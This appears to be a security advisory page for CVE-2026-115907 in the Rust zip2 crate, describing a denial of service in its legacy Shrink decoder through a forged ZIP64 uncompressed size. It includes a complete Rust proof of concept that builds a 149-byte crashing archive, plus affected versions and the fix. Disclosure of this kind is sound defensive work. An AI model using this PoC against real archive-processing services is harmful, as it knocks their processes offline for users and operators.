zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size
Impact
A malicious 149-byte ZIP archive can cause a denial of service in applications that enable legacy-zip and use ZipArchive::extract(). An attacker-controlled ZIP64 uncompressed size triggers a capacity overflow panic in the Shrink decoder in optimized builds, potentially terminating the affected process.
Source excerpt · OSVAffected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
| Affected range | Recorded fix |
|---|---|
| From 5.1.0 before 9.0.0Semantic versions | 9.0.0 |
Version evidence: OSV · GHSA-9hj8-73fh-9963
View original version evidence (0 explicit versions)
Affected products
Vendor version evidence. Product records are separate from automatic dependency matching.
zip-rs · GitHub_M
zip2
1 range
zip-rs · GitHub_M
zip2
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affected
>= 5.1.0, < 9.0.0
Other versions: unknown
Original source description
Summary
A malicious 149-byte ZIP archive can cause a denial of service in applications that enable legacy-zip and use ZipArchive::extract(). An attacker-controlled ZIP64 uncompressed size triggers a capacity overflow panic in the Shrink decoder in optimized builds, potentially terminating the affected process.
Details
When reading a Shrink-compressed entry, ShrinkDecoder::read() buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:
if !self.stream_read {
self.stream_read = true;
let mut compressed_bytes = Vec::new();
self.compressed_reader.read_to_end(&mut compressed_bytes)?;
self.stream.reserve(self.uncompressed_size as usize);
hwunshrink(
&compressed_bytes,
self.uncompressed_size as usize,
&mut self.stream,
)?;
}
In version 8.6.0, this is located in src/legacy/shrink.rs. The vulnerable legacy codecs are compiled when the legacy-zip Cargo feature is enabled.
self.uncompressed_size is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of u64::MAX, while supplying only one byte of compressed data.
The reserve occurs before hwunshrink() can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic capacity overflow panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through ZipArchive::extract().
The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.
PoC
Create a new Cargo project with the following layout:
zip2-legacy-poc/
|-- Cargo.toml
`-- src/
`-- main.rs
Use this Cargo.toml:
[package]
name = "zip2-legacy-poc"
version = "0.1.0"
edition = "2024"
publish = false
[dependencies]
tempfile = "3"
zip = { version = "=8.6.0", features = ["legacy-zip"] }
Use this src/main.rs:
use std::fs::File;
use std::io::{Cursor, Write};
fn push16(out: &mut Vec<u8>, value: u16) {
out.extend_from_slice(&value.to_le_bytes());
}
fn push32(out: &mut Vec<u8>, value: u32) {
out.extend_from_slice(&value.to_le_bytes());
}
fn push64(out: &mut Vec<u8>, value: u64) {
out.extend_from_slice(&value.to_le_bytes());
}
fn zip64_extra() -> Vec<u8> {
let mut extra = Vec::new();
push16(&mut extra, 0x0001);
push16(&mut extra, 16);
push64(&mut extra, u64::MAX);
push64(&mut extra, 1);
extra
}
fn archive() -> Vec<u8> {
let name = b"entry";
let extra = zip64_extra();
let mut out = Vec::new();
push32(&mut out, 0x0403_4b50);
push16(&mut out, 45);
push16(&mut out, 0);
push16(&mut out, 1); // Shrink compression.
push16(&mut out, 0);
push16(&mut out, 0);
push32(&mut out, 0);
push32(&mut out, u32::MAX);
push32(&mut out, u32::MAX);
push16(&mut out, name.len() as u16);
push16(&mut out, extra.len() as u16);
out.extend_from_slice(name);
out.extend_from_slice(&extra);
out.push(0);
let central_start = out.len() as u32;
push32(&mut out, 0x0201_4b50);
push16(&mut out, 45);
push16(&mut out, 45);
push16(&mut out, 0);
push16(&mut out, 1); // Shrink compression.
push16(&mut out, 0);
push16(&mut out, 0);
push32(&mut out, 0);
push32(&mut out, u32::MAX);
push32(&mut out, u32::MAX);
push16(&mut out, name.len() as u16);
push16(&mut out, extra.len() as u16);
push16(&mut out, 0);
push16(&mut out, 0);
push16(&mut out, 0);
push32(&mut out, 0);
push32(&mut out, 0);
out.extend_from_slice(name);
out.extend_from_slice(&extra);
let central_size = out.len() as u32 - central_start;
push32(&mut out, 0x0605_4b50);
push16(&mut out, 0);
push16(&mut out, 0);
push16(&mut out, 1);
push16(&mut out, 1);
push32(&mut out, central_size);
push32(&mut out, central_start);
push16(&mut out, 0);
out
}
fn main() -> Result<(), Box<dyn std::error::Error>> {
let bytes = archive();
File::create("poc.zip")?.write_all(&bytes)?;
let mut archive = zip::ZipArchive::new(Cursor::new(bytes))?;
let entry = archive.by_index(0)?;
println!(
"method={:?} declared_size={}",
entry.compression(),
entry.size()
);
drop(entry);
let output = tempfile::tempdir()?;
archive.extract(output.path())?;
Ok(())
}
Run the reproducer in release mode:
cd zip2-legacy-poc
RUST_BACKTRACE=1 cargo run --release
Observed output with zip 8.6.0 on x86_64-unknown-linux-gnu:
method=Shrink declared_size=18446744073709551615
thread 'main' panicked at .../alloc/src/raw_vec/mod.rs:
capacity overflow
The backtrace reaches the Shrink decompressor through std::io::copy and ZipArchive::extract_internal(). The process exits with status 101. The program also writes the generated 149-byte archive to poc.zip before triggering extraction.
Impact
Applications that enable legacy-zip and pass attacker-supplied ZIP files to the following extraction API can be forced to panic before the compressed entry is validated or decoded. An unhandled panic may terminate the archive-processing process and cause a denial of service.
zip::read::ZipArchive::extract
Inside the record
Evidence available
Describes the evidence in this view, not whether the product is safe.
Original records
CVE-2026-115907View the latest unmodified CVE JSON from the official source. It may be newer than this imported page.
cve.new JSON →Underlying weaknesses
The source’s classification of what caused the vulnerability.
Contributing organizations · 2
Assigning organization
Additional data publisher
What changed
Follow changes- CVE · CVE-2026-115907
Observed 2026-10-30T16:06:19.684Z · upstream updated 2026-10-30T14:13:49.386Z
Prioritization updated
before
[]
after
[ { "source": "CISA-ADP", "type": "SSVC", "role": "CISA Coordinator", "timestamp": "2026-10-30T14:13:42.538263Z", "decisions": [ { "name": "Exploitation", "value": "poc" }, { "name": "Automatable", "value": "yes" }, { "name": "Technical Impact", "value": "partial" } ] } ]
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